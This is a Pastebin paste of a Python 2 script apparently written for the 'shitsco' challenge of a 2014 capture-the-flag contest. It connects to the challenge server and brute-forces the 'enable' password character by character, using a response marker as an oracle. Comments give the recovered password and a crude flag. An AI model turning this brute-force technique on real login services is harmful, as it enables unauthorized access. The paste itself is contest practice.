SHARE
TWEET

Untitled

a guest May 19th, 2014 361 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import socket
  2. import re
  3. # tasteless
  4. #The flag is: Dinosaur vaginas
  5. #pwd: bruT3m3hard3rb4by
  6. s = socket.socket()
  7. addr = 'shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me'
  8. port = 31337
  9. cmd="enable"
  10. s.connect((addr, port))
  11. while True:
  12.         d=s.recv(4096)
  13.         print d
  14.         if '$' in d:
  15.                 break
  16.  
  17. payload=" "*(32)               
  18. for i in range(0,33):
  19.         for j in range(32,126):
  20.                 tmp=list(payload)
  21.                 tmp[i]=chr(j)
  22.                 tmp=''.join(tmp)
  23.                 print "trying with... "+tmp
  24.                 s.send(cmd+"\n")
  25.                 d=s.recv(4096)
  26.                 #print d
  27.                 s.send(tmp+"\n")
  28.                 d=s.recv(4096)
  29.                 #print d
  30.                 if chr(255) in d:
  31.                         print "char: "+chr(j-1)
  32.                         tmp=list(payload)
  33.                         tmp[i]=chr(j-1)
  34.                         payload=''.join(tmp)
  35.                         break  
  36.                 d=s.recv(4096)
  37.                 print d
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top